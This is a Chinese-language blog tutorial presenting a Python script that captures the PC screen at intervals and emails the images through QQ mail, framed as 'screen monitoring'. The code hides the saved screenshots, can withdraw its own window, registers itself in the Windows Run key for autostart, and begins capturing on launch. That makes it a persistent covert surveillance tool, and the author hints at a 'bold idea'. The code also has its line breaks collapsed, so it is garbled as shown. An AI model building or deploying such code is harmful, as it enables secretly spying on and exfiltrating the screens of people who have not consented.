一步到位：用Python实现PC屏幕截图并自动发送邮件，实现屏幕监控

# coding=utf-8 
'''@Author  : TesterRoad@Time    : 2023/7/9 15:43@Desc    : 用python实现PC屏幕截图自动发送邮箱@Software: PyCharm
'''
import smtplib
import time
import pyautogui
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import logging
import configparser
import os
import sys
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64import tkinter as tk
from tkinter import ttk
import datetime
import threading
import winreg
import globKEY = b'MySuperSecretKey'def encrypt_data(data):cipher = AES.new(KEY, AES.MODE_CBC)ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))iv = base64.b64encode(cipher.iv).decode('utf-8')ct = base64.b64encode(ct_bytes).decode('utf-8')return iv + ctdef decrypt_data(data):try:iv = base64.b64decode(data[:24])ct = base64.b64decode(data[24:])cipher = AES.new(KEY, AES.MODE_CBC, iv=iv)pt = unpad(cipher.decrypt(ct), AES.block_size)return pt.decode('utf-8')except:return "Decryption Error!"class ScreenshotApp:def __init__(self):self.root = tk.Tk()self.root.title("Screen")self.config = configparser.ConfigParser()self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")if not os.path.exists(self.config_file):self.create_default_config()self.config.read(self.config_file)  # 读取配置文件self.sender_email_label = ttk.Label(self.root, text="发件邮箱:")self.sender_email_label.grid(row=0, column=0, padx=5, pady=5)self.sender_email_entry = ttk.Entry(self.root)self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5)self.sender_password_label = ttk.Label(self.root, text="发件邮箱密码:")self.sender_password_label.grid(row=1, column=0, padx=5, pady=5)self.sender_password_entry = ttk.Entry(self.root, show="*")self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5)self.interval_label = ttk.Label(self.root, text="截图间隔时间:")self.interval_label.grid(row=2, column=0, padx=5, pady=5)self.interval_entry = ttk.Entry(self.root)self.interval_entry.grid(row=2, column=1, padx=5, pady=5)self.count_label = ttk.Label(self.root, text="发送截图数量:")self.count_label.grid(row=3, column=0, padx=5, pady=5)self.count_entry = ttk.Entry(self.root)self.count_entry.grid(row=3, column=1, padx=5, pady=5)self.start_button = ttk.Button(self.root, text="开始截图", command=self.start_screenshot)self.start_button.grid(row=4, column=0, padx=5, pady=5)self.stop_button = ttk.Button(self.root, text="停止截图", command=self.stop_screenshot)self.stop_button.grid(row=4, column=1, padx=5, pady=5)self.stop_button.configure(state="disabled")self.save_button = ttk.Button(self.root, text="save", command=self.save_settings)self.save_button.grid(row=5, column=0, padx=5, pady=5)self.autostart_var = tk.BooleanVar()self.autostart_checkbutton = ttk.Checkbutton(self.root, text="开机自动启动", variable=self.autostart_var,command=self.save_settings)self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5)self.toggle_visibility_button = ttk.Button(self.root, text="显示/隐藏", command=self.toggle_visibility)self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5)# 创建日志记录器self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "screenshot.log")self.logger = logging.getLogger("ScreenshotApp")self.logger.setLevel(logging.INFO)self.logger.addHandler(logging.FileHandler(self.log_file_path))self.screenshot_running = Falseself.screenshot_thread = Noneself.stop_event = threading.Event()# 初始化输入框的值self.sender_email_entry.insert(0, self.config.get("Settings", "sender_email", fallback=""))self.sender_password_entry.insert(0, self.get_decrypted_password())self.interval_entry.insert(0, self.config.get("Settings", "interval", fallback=""))self.count_entry.insert(0, self.config.get("Settings", "count", fallback=""))# 初始化开机自动启动选项self.autostart_var.set(self.is_autostart_enabled())self.root.protocol("WM_DELETE_WINDOW", self.on_close)self.root.bind("<F12>", self.toggle_visibility)# 初始化窗口可见性visibility = self.config.get("Settings", "visibility", fallback="visible")if visibility == "hidden":self.root.withdraw()if self.autostart_var.get():self.start_screenshot()self.root.mainloop()def on_close(self):self.stop_screenshot()self.save_settings()self.delete_screenshots()self.root.quit()def create_default_config(self):if not os.path.exists(self.config_file):self.config["Settings"] = {"sender_email": "","sender_password": "","interval": "","count": "","autostart": "False","visibility": "visible"}config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")with open(config_file_path, "w") as configfile:self.config.write(configfile)def start_screenshot(self):interval_text = self.interval_entry.get()count_text = self.count_entry.get()if not interval_text or not count_text:self.logger.error("请提供Screen间隔时间和Screen次数")returntry:interval = int(interval_text)count = int(count_text)except ValueError:self.logger.error("Screen间隔时间和Screen次数必须是有效的整数")returnif not self.screenshot_running:sender_email = self.sender_email_entry.get()sender_password = self.sender_password_entry.get()interval = int(self.interval_entry.get())count = int(self.count_entry.get())receiver_email = sender_email  # 收件邮箱地址默认等于发件邮箱地址self.logger.info("开始Screen")self.start_button.configure(state="disabled")self.stop_button.configure(state="normal")self.screenshot_running = Trueself.stop_event.clear()self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(receiver_email, sender_email, sender_password, interval, count))self.screenshot_thread.start()def stop_screenshot(self):if self.screenshot_running:self.screenshot_running = Falseself.stop_event.set()self.screenshot_thread.join()self.logger.info("停止Screen")self.start_button.configure(state="normal")self.stop_button.configure(state="disabled")def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count):screenshot_count = 0screenshots = []# 获取用户主目录，并创建'Screenshots'文件夹user_dir = os.path.expanduser('~')screenshot_dir = os.path.join(user_dir, 'Screenshots')os.makedirs(screenshot_dir, exist_ok=True)# 在开始Screen前清空'Screenshots'文件夹self.delete_screenshots()while screenshot_count < count and not self.stop_event.is_set():try:# Screenscreenshot = pyautogui.screenshot()# 生成文件名，格式为“Screen时间.png”current_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")filename = f"Screen_{current_time}.png"# 保存Screen到'Screenshots'文件夹中screenshot_path = os.path.join(screenshot_dir, filename)screenshot.save(screenshot_path)screenshots.append(screenshot_path)screenshot_count += 1# 设置文件为隐藏FILE_ATTRIBUTE_HIDDEN = 0x02ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN)self.logger.info(f"Screen成功: {screenshot_path}")if screenshot_count == count:  # 达到指定Screen次数后发送Screenscreenshot_count = 0self.send_email(receiver_email, sender_email, sender_password, screenshots)self.logger.info(f"Screen发送成功，共发送了 {len(screenshots)} 张Screen")self.delete_screenshots(screenshots)screenshots = []  # 清空已发送的Screen列表except Exception as e:self.logger.error(f"Screen失败: {str(e)}")time.sleep(interval)def send_email(self, receiver_email, sender_email, sender_password, filenames):msg = MIMEMultipart()msg["From"] = sender_emailmsg["To"] = receiver_emailmsg["Subject"] = "Screen"# 添加邮件正文msg.attach(MIMEText("请查看附件中的Screen。", "plain"))# 添加Screen作为附件for filename in filenames:with open(filename, "rb") as f:image = MIMEImage(f.read())image.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename))msg.attach(image)try:# 发送邮件with smtplib.SMTP_SSL("smtp.qq.com", 465) as smtp:smtp.login(sender_email, sender_password)smtp.send_message(msg)self.logger.info(f"邮件发送成功，收件人: {receiver_email}")except Exception as e:self.logger.error(f"邮件发送失败: {str(e)}")def save_settings(self):self.config.set("Settings", "sender_email", self.sender_email_entry.get())self.config.set("Settings", "interval", self.interval_entry.get())self.config.set("Settings", "count", self.count_entry.get())self.config.set("Settings", "autostart", str(self.autostart_var.get()))visibility = "visible" if self.root.state() == "normal" else "hidden"self.config.set("Settings", "visibility", visibility)if self.sender_password_entry.get() != self.get_decrypted_password():encrypted_password = encrypt_data(self.sender_password_entry.get())self.config.set("Settings", "sender_password", encrypted_password)config_file_path = os.path.abspath(self.config_file)with open(config_file_path, "w") as configfile:self.config.write(configfile)self.logger.handlers.clear()self.logger.addHandler(logging.FileHandler(self.log_file_path))self.set_autostart(self.autostart_var.get())def delete_screenshots(self, filenames=None):# 获取'Screenshots'文件夹路径user_dir = os.path.expanduser('~')screenshot_dir = os.path.join(user_dir, 'Screenshots')if filenames is None:filenames = glob.glob(os.path.join(screenshot_dir, "Screen*.png"))for filename in filenames:try:os.remove(filename)self.logger.info(f"删除Screen: {filename}")except Exception as e:self.logger.error(f"删除Screen失败: {str(e)}")def get_decrypted_password(self):encrypted_password = self.config.get("Settings", "sender_password", fallback="")if encrypted_password:return decrypt_data(encrypted_password)else:return ""def toggle_visibility(self, event=None):if self.root.state() == "withdrawn":self.root.deiconify()else:self.root.withdraw()self.save_settings()def set_autostart(self, enabled):key = winreg.HKEY_CURRENT_USERrun_key = r"Software\Microsoft\Windows\CurrentVersion\Run"app_name = "Screen"app_path = sys.executable  # 获取当前脚本的绝对路径try:with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key:if enabled:winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path)self.logger.info("已设置开机自动启动")else:winreg.DeleteValue(reg_key, app_name)self.logger.info("已取消开机自动启动")except FileNotFoundError as e:self.logger.error(f"找不到注册表路径: {str(e)}")except PermissionError as e:self.logger.error(f"没有足够的权限访问注册表: {str(e)}")except Exception as e:self.logger.error(f"设置开机自动启动失败: {str(e)}")def is_autostart_enabled(self):key = winreg.HKEY_CURRENT_USERrun_key = r"Software\Microsoft\Windows\CurrentVersion\Run"app_name = "Screen"app_path = sys.executable  # 获取当前脚本的绝对路径try:with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key:try:value, value_type = winreg.QueryValueEx(reg_key, app_name)return value == app_pathexcept FileNotFoundError:return Falseexcept FileNotFoundError as e:self.logger.error(f"找不到注册表路径: {str(e)}")except PermissionError as e:self.logger.error(f"没有足够的权限访问注册表: {str(e)}")except Exception as e:self.logger.error(f"读取开机自动启动设置失败: {str(e)}")return Falseif __name__ == "__main__":app = ScreenshotApp()

打开CMD,输入python ScreenCaptureSendEmail.py

我们输入发件邮箱，发件邮箱密码（QQ邮箱则是授权码），截图间隔时间，发送截图数量，然后点击开始截图，稍后我们会收到一封QQ邮件

如下图所示

看到这里，我突然有个大胆的想法。

在本文中，我们详细讨论了如何使用Python实现PC屏幕截图并自动发送至邮箱的功能。我们探讨了相关库的使用。并通过编写实际的代码，我们一步步演示了如何将这些功能整合在一起。希望这篇文章能够帮助你在自动化处理任务、提高工作效率方面取得进步。如果你在实践过程中遇到任何问题，或者有任何建议，欢迎随时与我交流。记住，编程就是解决问题的艺术，不断学习和实践才能更好地掌握它。

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